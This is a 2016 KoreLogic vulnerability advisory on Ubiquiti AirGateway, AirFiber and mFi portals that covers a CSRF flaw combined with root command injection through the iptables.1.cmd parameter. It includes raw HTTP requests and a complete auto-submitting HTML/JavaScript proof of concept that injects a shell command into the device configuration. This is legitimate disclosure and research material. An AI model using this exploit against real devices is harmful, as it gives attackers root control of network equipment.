Ubiquiti Administration Portal CSRF / Remote Command Execution
Posted on 29 June 2016
KL-001-2016-002 : Ubiquiti Administration Portal CSRF to Remote Command Execution Title: Ubiquiti Administration Portal CSRF to Remote Command Execution Advisory ID: KL-001-2016-002 Publication Date: 2016.06.28 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-002.txt 1. Vulnerability Details Affected Vendor: Ubiquiti Affected Product: AirGateway, AirFiber, mFi Affected Version: 1.1.6, 3.2, 2.1.11 Platform: Embedded Linux CWE Classification: CWE-352: Cross-Site Request Forgery (CSRF); CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') Impact: Arbitrary Code Execution Attack vector: HTTP 2. Vulnerability Description The Ubiquiti AirGateway, AirFiber and mFi platforms feature remote administration via an authenticated web-based portal. Lack of CSRF protection in the Remote Administration Portal, and unsafe passing of user input to operating system commands exectuted with root privileges, can be abused in a way that enables remote command execution. 3. Technical Description The firmware files analyzed were AirGWP.v1.1.6.28062.150731.1520.bin, AF24.v3.2.bin, and firmware.bin respectively. The MD5 hash values for the vulnerable files served by the administration portal are: AirGateway b45fe8e491d62251f0a7a100c636178a /usr/www/system.cgi AirFiber d8926f7f65a2111f4036413f985082b9 /usr/www/system.cgi mFi 960e8f6e507b227dbc4b65fc7a7036bc /usr/www/system.cgi The firmware file contains a LZMA compressed, squashfs partition. The binaries running on the embedded device are compiled for a MIPS CPU. The device can be easily virtualized using QEMU: Example: sudo /usr/sbin/chroot . ./qemu-mips-static /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf The administration portal does not issue a randomized CSRF token either per session, page, or request. Administration authorization is solely based on cookie control. Therefore, it is possible to embed JavaScript into an HTML page so when an administrator is socially engineered into visiting the page, the target device will be accessed with privileges. Device configuration POST parameters include tokens passed to operating system commands run as root in unsafe ways with insufficient input sanitization. Command injection is possible by stacking shell commands in parameters such as iptables.1.cmd. In order for a developer to recreate this discovery, the following instructions should be duplicated. a. Authenticate to the target web application and navigate to the SYSTEM page. b. Download the current configuration. c. Open the configuration in an editor of your choice, navigate to the line containing: iptables.1.cmd=-A FIREWALL -j ACCEPT d. Append the following onto that line: ;touch /var/tmp/csrf-to-rce.txt e. Save the changes, and submit the modified configuration. Apply the changes using apply.cgi afterward. Example: POST /system.cgi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*; q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Referer: https://192.168.1.1/system.cgi Cookie: ui_language=en_US; last_check=1452020493426; AIROS_SESSIONID=e5f61a5c0a9d0690b4efd484e56b8c93 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------4384928471732886672453075690 Content-Length: 7204 ... iptables.1.cmd=-A FIREWALL -j ACCEPT; touch /var/tmp/csrf-to-rce.txt ... GET /apply.cgi?testmode=&_=[redacted] HTTP/1.1 Host: 192.168.1.1 X-Requested-With: XMLHttpRequest Referer: https://192.168.1.1/system.cgi Cookie: ui_language=en_US; last_check=1452020493426; AIROS_SESSIONID=e5f61a5c0a9d0690b4efd484e56b8c93 Connection: keep-alive f. Change your IP address, but ensure continued routing to the target web application. Incrementing the last octet is sufficient. g. Open the configuration in an editor of your choice, navigate to the modified line and alter it: ;touch /var/tmp/csrf-to-rce-newsrc.txt h. Repeat step 5 from the new IP address. You will receive the same response. Apply the changes using the apply.cgi file. i. Login to the target device using SSH or telnet, navigate to /var/tmp and type ls. j. You'll discover both files exist. 4. Mitigation and Remediation Recommendation At this time there is no vendor patch for this vulnerability. The vendor was unable or unwilling to communicate an expected release date for a proper mitigation. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2016.02.25 - KoreLogic sends vulnerability report and PoC to Ubiquiti. 2016.02.26 - Ubiquiti acknowledges receipt of vulnerability report. 2016.04.12 - 30 business days have elapsed since the vulnerability was reported to Ubiquiti. 2016.04.21 - KoreLogic asks for an update on the remediation effort. 2016.04.29 - Ubiquiti replies that the patch will require "significant changes" but does not provide an estimate of the release time table. 2016.05.04 - 45 business days have elapsed since the vulnerability was reported to Ubiquiti. 2016.05.12 - KoreLogic requests an update from Ubiquiti. 2016.05.23 - KoreLogic requests an update from Ubiquiti. 2016.06.23 - 80 business days have elapsed since the vulnerability was reported to Ubiquiti. 2016.06.28 - Public disclosure. 7. Proof of Concept ######################################################################## # # Copyright 2016 KoreLogic Inc., All Rights Reserved. # # This proof of concept, having been partly or wholly developed # and/or sponsored by KoreLogic, Inc., is hereby released under # the terms and conditions set forth in the Creative Commons # Attribution Share-Alike 4.0 (United States) License: # # http://creativecommons.org/licenses/by-sa/4.0/ # #######################################################################* This example has been performed against the AirGateway device running the 1.1.6 firmware version. In order to recreate this vulnerability on AirFiber and mFi, the attacker should first obtain a valid copy of the device configuration and update this proof-of-concept code. <html> <body> <form action="https://192.168.1.1/apply.cgi" id="airos-exploit-apply"> <input type="submit" value="Submit request" /> </form> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https://192.168.1.1/system.cgi", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------761818923593135447208368355"); xhr.withCredentials = true; var body = "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="fwfile"; filename="" " + "Content-Type: application/octet-stream " + " " + " " + "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="action" " + " " + "fwupload " + "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="update_status" " + " " + "enabled " + "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="hostname" " + " " + "airGateway " + "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="timezone" " + " " + "GMT " + "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="ui_language" " + " " + "en_US " + "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="adminname" " + " " + "ubnt " + "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="latitude" " + " " + " " + "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="longitude" " + " " + " " + "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="longitude" " + " " + " " + "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="cfgfile"; filename="hacked.cfg" " + "Content-Type: application/octet-stream " + " " + "aaa.1.radius.acct.1.status=disabled " + "wpasupplicant.status=disabled " + "wpasupplicant.device.1.status=disabled " + "wireless.status=enabled " + "wireless.1.wds.status=disabled " + "wireless.1.wds.6.peer= " + "wireless.1.wds.5.peer= " + "wireless.1.wds.4.peer= " + "wireless.1.wds.3.peer= " + "wireless.1.wds.2.peer= " + "wireless.1.wds.1.peer= " + "wireless.1.status=enabled " + "wireless.1.ssid=www.ubnt.com " + "wireless.1.security.type=none " + "wireless.1.scan_list.status=disabled " + "wireless.1.mac_acl.policy=allow " + "wireless.1.mac_acl.status=disabled " + "wireless.1.hide_ssid=disabled " + "wireless.1.devname=ath0 " + "wireless.1.autowds=disabled " + "wireless.1.authmode=1 " + "wireless.1.ap= " + "wireless.1.addmtikie=enabled " + "vlan.status=disabled " + "users.status=enabled " + "users.1.status=enabled " + "users.1.password=VvpvCwhccFv6Q " + "users.1.name=ubnt " + "upnpd.devname= " + "upnpd.status=disabled " + "tshaper.status=disabled " + "telnetd.status=enabled " + "telnetd.port=23 " + "system.modules.blacklist.status=disabled " + "system.eirp.status=disabled " + "system.cfg.version=65542 " + "syslog.status=disabled " + "syslog.remote.status= " + "sshd.status=enabled " + "sshd.port=22 " + "sshd.auth.passwd=enabled " + "snmp.status=disabled " + "route.1.devname=eth0 " + "route.1.status=disabled " + "route.1.comment= " + "route.1.gateway=0.0.0.0 " + "route.1.netmask=0 " + "route.1.ip=0.0.0.0 " + "route.status=enabled " + "resolv.nameserver.2.status=enabled " + "resolv.nameserver.2.ip= " + "resolv.nameserver.1.status=enabled " + "resolv.nameserver.1.ip= " + "resolv.status=disabled " + "radio.status=enabled " + "radio.countrycode=840 " + "radio.1.txpower=18 " + "radio.1.subsystemid=0xe4c2 " + "radio.1.status=enabled " + "radio.1.reg_obey=disabled " + "radio.1.rate.mcs=7 " + "radio.1.rate.auto=enabled " + "radio.1.obey=disabled " + "radio.1.mode=master " + "radio.1.mcastrate= " + "radio.1.low_txpower_mode=disabled " + "radio.1.ieee_mode=11nght20 " + "radio.1.freq=0 " + "radio.1.forbiasauto=1 " + "radio.1.dfs.status=enabled " + "radio.1.devname=ath0 " + "radio.1.cwm.mode=0 " + "radio.1.cwm.enable=0 " + "radio.1.countrycode=840 " + "radio.1.clksel=1 " + "radio.1.chanshift= " + "radio.1.chanbw=0 " + "radio.1.antenna.id=4 " + "radio.1.acktimeout=25 " + "radio.1.ackdistance=600 " + "pwdog.status=enabled " + "pwdog.retry=3 " + "pwdog.period=300 " + "pwdog.host=8.8.8.8 " + "pwdog.delay=300 " + "ppp.status=disabled " + "ntpclient.status=enabled " + "ntpclient.1.status=enabled " + "ntpclient.1.server=0.ubnt.pool.ntp.org " + "netmode=soho " + "netconf.5.up=enabled " + "netconf.5.hwaddr.mac= " + "netconf.5.hwaddr.status=disabled " + "netconf.5.autoip.status=disabled " + "netconf.5.role=mlan " + "netconf.5.mtu=1500 " + "netconf.5.devname=eth0 " + "netconf.5.status=disabled " + "netconf.4.up=enabled " + "netconf.4.netmask=255.255.255.0 " + "netconf.4.ip=0.0.0.0 " + "netconf.4.hwaddr.mac= " + "netconf.4.hwaddr.status=disabled " + "netconf.4.autoip.status=disabled " + "netconf.4.role=bridge_port " + "netconf.4.mtu=1500 " + "netconf.4.devname=eth1 " + "netconf.4.status=enabled " + "netconf.3.up=enabled " + "netconf.3.netmask=255.255.255.0 " + "netconf.3.ip=192.168.1.1 " + "netconf.3.hwaddr.mac= " + "netconf.3.hwaddr.status=disabled " + "netconf.3.autoip.status=disabled " + "netconf.3.role=lan " + "netconf.3.mtu=1500 " + "netconf.3.devname=br0 " + "netconf.3.status=enabled " + "netconf.2.up=enabled " + "netconf.2.promisc=enabled " + "netconf.2.netmask=255.255.255.0 " + "netconf.2.ip=0.0.0.0 " + "netconf.2.hwaddr.mac= " + "netconf.2.hwaddr.status=disabled " + "netconf.2.autoip.status=disabled " + "netconf.2.role=bridge_port " + "netconf.2.mtu=1500 " + "netconf.2.devname=ath0 " + "netconf.2.status=enabled " + "netconf.1.up=enabled " + "netconf.1.promisc=enabled " + "netconf.1.netmask=255.255.255.0 " + "netconf.1.ip=0.0.0.0 " + "netconf.1.hwaddr.mac= " + "netconf.1.hwaddr.status=disabled " + "netconf.1.autoip.status=disabled " + "netconf.1.role=wan " + "netconf.1.mtu=1500 " + "netconf.1.devname=eth0 " + "netconf.1.status=enabled " + "netconf.status=enabled " + "iptables.sys.upnpd.devname= " + "iptables.sys.upnpd.status=disabled " + "iptables.sys.status=enabled " + "iptables.sys.portfw.status=disabled " + "iptables.sys.mgmt.status=disabled " + "iptables.sys.masq.1.status=enabled " + "iptables.sys.masq.1.devname=eth0 " + "iptables.sys.masq.status=enabled " + "iptables.sys.fw.status=disabled " + "iptables.sys.dmz.status=disabled " + "iptables.1.comment= " + "iptables.1.cmd=-A FIREWALL -j ACCEPT; touch /var/hacked.txt " + "iptables.1.status=enabled " + "iptables.status=enabled " + "igmpproxy.status=enabled " + "igmpproxy.upstream.devname=eth0 " + "igmpproxy.1.downstream.devname=br0 " + "httpd.status=enabled " + "httpd.session.timeout=900 " + "httpd.port=80 " + "httpd.https.status=enabled " + "httpd.https.port=443 " + "gui.wlan.advanced.status=disabled " + "gui.network.advanced.status=enabled " + "ebtables.sys.vlan.status=disabled " + "ebtables.sys.status=enabled " + "ebtables.sys.eap.status=disabled " + "ebtables.sys.eap.1.status=enabled " + "ebtables.sys.eap.1.devname=ath0 " + "ebtables.sys.arpnat.status=disabled " + "ebtables.sys.arpnat.1.status=enabled " + "ebtables.sys.arpnat.1.devname=ath0 " + "ebtables.status=enabled " + "dyndns.status=disabled " + "dnsmasq.status=disabled " + "dnsmasq.1.status=disabled " + "dnsmasq.1.devname=eth0 " + "discovery.status=enabled " + "discovery.cdp.status=enabled " + "dhcpd.1.start=192.168.1.2 " + "dhcpd.1.netmask=255.255.255.0 " + "dhcpd.1.lease_time=600 " + "dhcpd.1.end=192.168.1.254 " + "dhcpd.1.dnsproxy=enabled " + "dhcpd.1.devname=br0 " + "dhcpd.1.dns.2.status=disabled " + "dhcpd.1.dns.2.server= " + "dhcpd.1.dns.1.status=disabled " + "dhcpd.1.dns.1.server= " + "dhcpd.1.status=enabled " + "dhcpd.status=enabled " + "dhcpc.1.status=enabled " + "dhcpc.1.fallback_netmask=255.255.255.0 " + "dhcpc.1.fallback=192.168.10.1 " + "dhcpc.1.devname=eth0 " + "dhcpc.status=enabled " + "bridge.1.fd=1 " + "bridge.1.comment= " + "bridge.1.port.2.devname=eth1 " + "bridge.1.port.2.status=enabled " + "bridge.1.port.1.devname=ath0 " + "bridge.1.port.1.status=enabled " + "bridge.1.stp.status=disabled " + "bridge.1.devname=br0 " + "bridge.1.status=enabled " + "bridge.status=enabled " + "aaa.status=disabled " + "aaa.1.status=disabled " + "aaa.1.radius.macacl.status=disabled " + "aaa.1.radius.auth.1.status=disabled " + " " + "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="cfgupload" " + " " + "Upload " + "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="action" " + " " + "cfgupload " + "-----------------------------761818923593135447208368355 " + "Content-Disposition: form-data; name="systemdate" " + " " + " " + "-----------------------------761818923593135447208368355-- "; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); document.getElementById("airos-exploit-apply").submit(); </script> </body> </html> The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt